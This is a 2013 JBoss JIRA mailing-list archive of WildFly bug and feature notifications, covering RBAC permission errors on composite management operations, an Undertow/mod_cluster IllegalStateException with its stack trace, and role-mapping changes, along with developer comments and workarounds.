For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 13:48:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Mon, 16 Sep 2013 13:48:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2089) Error executing composite
 operation as server group role
In-Reply-To: <JIRA.12500794.1379353242000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500794.1379353242000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500794.1379353242000.28316.1379353683582@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2089?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804583#comment-12804583 ] 

Heiko Braun commented on WFLY-2089:
-----------------------------------

If i start the second server (server-two), the error msg is reduced to 
{noformat}
[Host Controller] 19:46:45,657 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 7) JBAS014616: Operation ("resolve") failed - address: ([]) - failure description: "JBAS013456: Unauthorized to execute operation 'resolve' for resource '[]' -- \"JBAS013475: Permission denied\""
{noformat}
                
> Error executing composite operation as server group role
> --------------------------------------------------------
>
>                 Key: WFLY-2089
>                 URL: https://issues.jboss.org/browse/WFLY-2089
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> This role
> {noformat}
> [domain at localhost:9999 /] /core-service=management/access=authorization/server-group-scoped-role=main-MAINTAINER:read-resource
> {                                          
>     "outcome" => "success",
>     "result" => {
>         "base-role" => "MAINTAINER",
>         "server-groups" => ["main-server-group"]
>     }
> }
> {noformat}
> ... executing this operation 
> {noformat}
> [INFO] {
> [INFO]     "address" => [],
> [INFO]     "operation" => "composite",
> [INFO]     "steps" => [
> [INFO]         {
> [INFO]             "address" => [],
> [INFO]             "operation" => "read-children-resources",
> [INFO]             "child-type" => "deployment"
> [INFO]         },
> [INFO]         {
> [INFO]             "operation" => "read-children-resources",
> [INFO]             "child-type" => "server-group"
> [INFO]         },
> [INFO]         {
> [INFO]             "address" => [
> [INFO]                 ("server-group" => "*"),
> [INFO]                 ("deployment" => "*")
> [INFO]             ],
> [INFO]             "operation" => "read-resource"
> [INFO]         }
> [INFO]     ]
> [INFO] }
> {noformat}
> ... leads to:
> {noformat}
> [Host Controller] 19:37:41,713 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 2) POST /management HTTP/1.1 [401  Unauthorized] ()
> [Host Controller] 19:37:41,713 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [401  Unauthorized] ()
> [Host Controller] 19:37:41,762 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 2) POST /management HTTP/1.1 [200  OK] ()
> [Host Controller] 19:37:41,766 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 1) JBAS014616: Operation ("resolve") failed - address: ([]) - failure description: "JBAS013456: Unauthorized to execute operation 'resolve' for resource '[]' -- \"JBAS013475: Permission denied\""
> [Host Controller] 19:37:41,767 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [500  Internal Server Error] ()
> [Host Controller] 19:37:41,821 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [200  OK] ()
> [Host Controller] 19:37:41,852 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 2) JBAS014616: Operation ("composite") failed - address: ([]) - failure description: "JBAS014883: No resource definition is registered for address [
> [Host Controller]     (\"host\" => \"master\"),
> [Host Controller]     (\"server\" => \"server-two\")
> [Host Controller] ]"
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 13:50:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Mon, 16 Sep 2013 13:50:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2089) Error executing composite
 operation as server group role
In-Reply-To: <JIRA.12500794.1379353242000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500794.1379353242000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500794.1379353242000.28320.1379353803444@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2089?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804583#comment-12804583 ] 

Heiko Braun edited comment on WFLY-2089 at 9/16/13 1:48 PM:
------------------------------------------------------------

If i start the second server (server-two), the error msg is reduced to 

[Host Controller] 19:46:45,657 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 7) JBAS014616: Operation ("resolve") failed - address: ([]) - failure description: "JBAS013456: Unauthorized to execute operation 'resolve' for resource '[]' -- \"JBAS013475: Permission denied\""

                
      was (Author: heiko.braun):
    If i start the second server (server-two), the error msg is reduced to 
{noformat}
[Host Controller] 19:46:45,657 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 7) JBAS014616: Operation ("resolve") failed - address: ([]) - failure description: "JBAS013456: Unauthorized to execute operation 'resolve' for resource '[]' -- \"JBAS013475: Permission denied\""
{noformat}
                  
> Error executing composite operation as server group role
> --------------------------------------------------------
>
>                 Key: WFLY-2089
>                 URL: https://issues.jboss.org/browse/WFLY-2089
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> This role
> {noformat}
> [domain at localhost:9999 /] /core-service=management/access=authorization/server-group-scoped-role=main-MAINTAINER:read-resource
> {                                          
>     "outcome" => "success",
>     "result" => {
>         "base-role" => "MAINTAINER",
>         "server-groups" => ["main-server-group"]
>     }
> }
> {noformat}
> ... executing this operation 
> {noformat}
> [INFO] {
> [INFO]     "address" => [],
> [INFO]     "operation" => "composite",
> [INFO]     "steps" => [
> [INFO]         {
> [INFO]             "address" => [],
> [INFO]             "operation" => "read-children-resources",
> [INFO]             "child-type" => "deployment"
> [INFO]         },
> [INFO]         {
> [INFO]             "operation" => "read-children-resources",
> [INFO]             "child-type" => "server-group"
> [INFO]         },
> [INFO]         {
> [INFO]             "address" => [
> [INFO]                 ("server-group" => "*"),
> [INFO]                 ("deployment" => "*")
> [INFO]             ],
> [INFO]             "operation" => "read-resource"
> [INFO]         }
> [INFO]     ]
> [INFO] }
> {noformat}
> ... leads to:
> {noformat}
> [Host Controller] 19:37:41,713 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 2) POST /management HTTP/1.1 [401  Unauthorized] ()
> [Host Controller] 19:37:41,713 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [401  Unauthorized] ()
> [Host Controller] 19:37:41,762 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 2) POST /management HTTP/1.1 [200  OK] ()
> [Host Controller] 19:37:41,766 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 1) JBAS014616: Operation ("resolve") failed - address: ([]) - failure description: "JBAS013456: Unauthorized to execute operation 'resolve' for resource '[]' -- \"JBAS013475: Permission denied\""
> [Host Controller] 19:37:41,767 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [500  Internal Server Error] ()
> [Host Controller] 19:37:41,821 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [200  OK] ()
> [Host Controller] 19:37:41,852 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 2) JBAS014616: Operation ("composite") failed - address: ([]) - failure description: "JBAS014883: No resource definition is registered for address [
> [Host Controller]     (\"host\" => \"master\"),
> [Host Controller]     (\"server\" => \"server-two\")
> [Host Controller] ]"
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 13:58:03 2013
From: jira-events at lists.jboss.org (Radoslav Husar (JIRA))
Date: Mon, 16 Sep 2013 13:58:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2090) CFX fails with
 IllegalStateException: UT000005: getRequestChannel() has already been
 called
In-Reply-To: <JIRA.12500798.1379354277282@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500798.1379354277282@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500798.1379354277282.28340.1379354283863@jira02.app.mwc.hst.phx2.redhat.com>

Radoslav Husar created WFLY-2090:
------------------------------------

             Summary: CFX fails with IllegalStateException: UT000005: getRequestChannel() has already been called
                 Key: WFLY-2090
                 URL: https://issues.jboss.org/browse/WFLY-2090
             Project: WildFly
          Issue Type: Bug
          Components: Clustering, Web (Undertow)
    Affects Versions: 8.0.0.Beta1
            Reporter: Radoslav Husar
            Assignee: Radoslav Husar
             Fix For: 8.0.0.Beta1


asoldano is seeing CXF problems with the latest modcluster undertow integration:

18:40:41,678 ERROR [io.undertow.request] (default task-10) Blocking request failed HttpServerExchange{ POST /jaxws-samples-asynch}: java.lang.IllegalStateException: UT000005: getRequestChannel() has already been called
	at io.undertow.server.HttpServerExchange.addRequestWrapper(HttpServerExchange.java:1052) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
	at org.wildfly.mod_cluster.undertow.metric.BytesReceivedThreadSetupAction.setup(BytesReceivedThreadSetupAction.java:46) [wildfly-mod_cluster-undertow-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at io.undertow.servlet.core.CompositeThreadSetupAction.setup(CompositeThreadSetupAction.java:42) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:204) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:196) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchToPath(ServletInitialHandler.java:141) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
	at io.undertow.servlet.spec.AsyncContextImpl$2$1.handleRequest(AsyncContextImpl.java:189) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
	at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
	at io.undertow.servlet.spec.AsyncContextImpl$2.run(AsyncContextImpl.java:186) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
	at io.undertow.servlet.spec.AsyncContextImpl$5.run(AsyncContextImpl.java:411) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
	at io.undertow.servlet.spec.AsyncContextImpl$TaskDispatchRunnable.run(AsyncContextImpl.java:496) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_17]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_17]
	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_17]

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 14:00:04 2013
From: jira-events at lists.jboss.org (Radoslav Husar (JIRA))
Date: Mon, 16 Sep 2013 14:00:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2090) CFX fails with
 IllegalStateException: UT000005: getRequestChannel() has already been
 called
In-Reply-To: <JIRA.12500798.1379354277000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500798.1379354277000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500798.1379354277000.28352.1379354404426@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2090?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804588#comment-12804588 ] 

Radoslav Husar commented on WFLY-2090:
--------------------------------------

Workaround is to 

{{$ rm -rf modules/system/layers/base/org/wildfly/mod_cluster}}
                
> CFX fails with IllegalStateException: UT000005: getRequestChannel() has already been called
> -------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2090
>                 URL: https://issues.jboss.org/browse/WFLY-2090
>             Project: WildFly
>          Issue Type: Bug
>          Components: Clustering, Web (Undertow)
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Radoslav Husar
>            Assignee: Radoslav Husar
>             Fix For: 8.0.0.Beta1
>
>
> asoldano is seeing CXF problems with the latest modcluster undertow integration:
> 18:40:41,678 ERROR [io.undertow.request] (default task-10) Blocking request failed HttpServerExchange{ POST /jaxws-samples-asynch}: java.lang.IllegalStateException: UT000005: getRequestChannel() has already been called
> 	at io.undertow.server.HttpServerExchange.addRequestWrapper(HttpServerExchange.java:1052) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at org.wildfly.mod_cluster.undertow.metric.BytesReceivedThreadSetupAction.setup(BytesReceivedThreadSetupAction.java:46) [wildfly-mod_cluster-undertow-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at io.undertow.servlet.core.CompositeThreadSetupAction.setup(CompositeThreadSetupAction.java:42) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:204) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:196) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchToPath(ServletInitialHandler.java:141) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.spec.AsyncContextImpl$2$1.handleRequest(AsyncContextImpl.java:189) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.spec.AsyncContextImpl$2.run(AsyncContextImpl.java:186) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.spec.AsyncContextImpl$5.run(AsyncContextImpl.java:411) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.spec.AsyncContextImpl$TaskDispatchRunnable.run(AsyncContextImpl.java:496) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_17]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_17]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_17]

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 14:48:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Mon, 16 Sep 2013 14:48:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2037) Login as user with no role
 assigned leads to 500 error page
In-Reply-To: <JIRA.12500302.1378733298000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500302.1378733298000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500302.1378733298000.28430.1379357283594@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2037?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry reassigned WFLY-2037:
--------------------------------------

    Assignee: Heiko Braun  (was: Brian Stansberry)


https://github.com/wildfly/wildfly/pull/5068 takes care of the 403 part.

I'm assigning this to Heiko, as responding to the 403 with an appropriate UI is a console issue.

Note also that the "include-all" behavior Darran and I discussed (WFLY-2068) is merged. But that's a different issue from this one, which is primarily concerned with the case where the user does not have any permissions.
                
> Login as user with no role assigned leads to 500 error page
> -----------------------------------------------------------
>
>                 Key: WFLY-2037
>                 URL: https://issues.jboss.org/browse/WFLY-2037
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Jakub Cechacek
>            Assignee: Heiko Braun
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.Beta1
>
>
> Some message other than the default 500 error page should be displayed in such case. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 14:50:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Mon, 16 Sep 2013 14:50:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2068) Add support for an
 include-all option on individual role mappings.
In-Reply-To: <JIRA.12500685.1379079668000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500685.1379079668000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500685.1379079668000.28433.1379357403395@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2068?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-2068:
-----------------------------------

    Git Pull Request: https://github.com/wildfly/wildfly/pull/5062  (was: https://github.com/bstansberry/wildfly/pull/38)

    
> Add support for an include-all option on individual role mappings.
> ------------------------------------------------------------------
>
>                 Key: WFLY-2068
>                 URL: https://issues.jboss.org/browse/WFLY-2068
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: Domain Management, Security
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.Beta1
>
>
> The include-all attribute if set to true will mean that all authenticated users will be assigned a role provided that they have not been matched on the exclude list.
> At the same time whilst in this area, the individual include/exclude mappings use an arbitrary value in the address, this should be persisted as an alias in the XML so that when the model is reloaded addresses will be consistent. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 14:50:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Mon, 16 Sep 2013 14:50:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2068) Add support for an
 include-all option on individual role mappings.
In-Reply-To: <JIRA.12500685.1379079668000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500685.1379079668000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500685.1379079668000.28436.1379357403498@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2068?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-2068:
-----------------------------------

        Parent: WFLY-490
    Issue Type: Sub-task  (was: Enhancement)

    
> Add support for an include-all option on individual role mappings.
> ------------------------------------------------------------------
>
>                 Key: WFLY-2068
>                 URL: https://issues.jboss.org/browse/WFLY-2068
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.Beta1
>
>
> The include-all attribute if set to true will mean that all authenticated users will be assigned a role provided that they have not been matched on the exclude list.
> At the same time whilst in this area, the individual include/exclude mappings use an arbitrary value in the address, this should be persisted as an alias in the XML so that when the model is reloaded addresses will be consistent. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 15:06:03 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Mon, 16 Sep 2013 15:06:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2090) CFX fails with
 IllegalStateException: UT000005: getRequestChannel() has already been
 called
In-Reply-To: <JIRA.12500798.1379354277000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500798.1379354277000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500798.1379354277000.28455.1379358363770@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2090?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804623#comment-12804623 ] 

Tomaz Cerar commented on WFLY-2090:
-----------------------------------

there is bug introduced by WFLY-1888
module io.undertow.servlet has dependancy to org.wildfly.mod_cluster.undertow which should never be there!
if anything it could be added at runtime but never as static dependancy!
                
> CFX fails with IllegalStateException: UT000005: getRequestChannel() has already been called
> -------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2090
>                 URL: https://issues.jboss.org/browse/WFLY-2090
>             Project: WildFly
>          Issue Type: Bug
>          Components: Clustering, Web (Undertow)
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Radoslav Husar
>            Assignee: Radoslav Husar
>             Fix For: 8.0.0.Beta1
>
>
> asoldano is seeing CXF problems with the latest modcluster undertow integration:
> 18:40:41,678 ERROR [io.undertow.request] (default task-10) Blocking request failed HttpServerExchange{ POST /jaxws-samples-asynch}: java.lang.IllegalStateException: UT000005: getRequestChannel() has already been called
> 	at io.undertow.server.HttpServerExchange.addRequestWrapper(HttpServerExchange.java:1052) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at org.wildfly.mod_cluster.undertow.metric.BytesReceivedThreadSetupAction.setup(BytesReceivedThreadSetupAction.java:46) [wildfly-mod_cluster-undertow-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at io.undertow.servlet.core.CompositeThreadSetupAction.setup(CompositeThreadSetupAction.java:42) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:204) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:196) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchToPath(ServletInitialHandler.java:141) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.spec.AsyncContextImpl$2$1.handleRequest(AsyncContextImpl.java:189) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.spec.AsyncContextImpl$2.run(AsyncContextImpl.java:186) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.spec.AsyncContextImpl$5.run(AsyncContextImpl.java:411) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.spec.AsyncContextImpl$TaskDispatchRunnable.run(AsyncContextImpl.java:496) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_17]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_17]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_17]

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 15:17:03 2013
From: jira-events at lists.jboss.org (Radoslav Husar (JIRA))
Date: Mon, 16 Sep 2013 15:17:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2090) CFX fails with
 IllegalStateException: UT000005: getRequestChannel() has already been
 called
In-Reply-To: <JIRA.12500798.1379354277000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500798.1379354277000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500798.1379354277000.28458.1379359023427@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2090?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804625#comment-12804625 ] 

Radoslav Husar commented on WFLY-2090:
--------------------------------------

A deployment processor must be used instead.
                
> CFX fails with IllegalStateException: UT000005: getRequestChannel() has already been called
> -------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2090
>                 URL: https://issues.jboss.org/browse/WFLY-2090
>             Project: WildFly
>          Issue Type: Bug
>          Components: Clustering, Web (Undertow)
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Radoslav Husar
>            Assignee: Radoslav Husar
>             Fix For: 8.0.0.Beta1
>
>
> asoldano is seeing CXF problems with the latest modcluster undertow integration:
> 18:40:41,678 ERROR [io.undertow.request] (default task-10) Blocking request failed HttpServerExchange{ POST /jaxws-samples-asynch}: java.lang.IllegalStateException: UT000005: getRequestChannel() has already been called
> 	at io.undertow.server.HttpServerExchange.addRequestWrapper(HttpServerExchange.java:1052) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at org.wildfly.mod_cluster.undertow.metric.BytesReceivedThreadSetupAction.setup(BytesReceivedThreadSetupAction.java:46) [wildfly-mod_cluster-undertow-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at io.undertow.servlet.core.CompositeThreadSetupAction.setup(CompositeThreadSetupAction.java:42) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:204) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:196) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchToPath(ServletInitialHandler.java:141) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.spec.AsyncContextImpl$2$1.handleRequest(AsyncContextImpl.java:189) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.spec.AsyncContextImpl$2.run(AsyncContextImpl.java:186) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.spec.AsyncContextImpl$5.run(AsyncContextImpl.java:411) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.spec.AsyncContextImpl$TaskDispatchRunnable.run(AsyncContextImpl.java:496) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_17]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_17]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_17]

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:21:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:21:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-14) Remove deprecated attributes of
 messaging subsystem in console
In-Reply-To: <JIRA.12489555.1366104394000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489555.1366104394000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489555.1366104394000.28572.1379362864255@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-14?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804656#comment-12804656 ] 

RH Bugzilla Integration commented on WFLY-14:
---------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 948900|https://bugzilla.redhat.com/show_bug.cgi?id=948900] from VERIFIED to CLOSED
                
> Remove deprecated attributes of messaging subsystem in console
> --------------------------------------------------------------
>
>                 Key: WFLY-14
>                 URL: https://issues.jboss.org/browse/WFLY-14
>             Project: WildFly
>          Issue Type: Bug
>          Components: Web Console
>            Reporter: Harald Pehl
>            Assignee: Harald Pehl
>            Priority: Minor
>              Labels: console_1.5.3, merged
>             Fix For: 8.0.0.CR1
>
>
> The attribute {{failover-on-server-shutdown}} in 
> * {{/subsystem=messaging/hornetq-server=default/connection-factory=*}} and
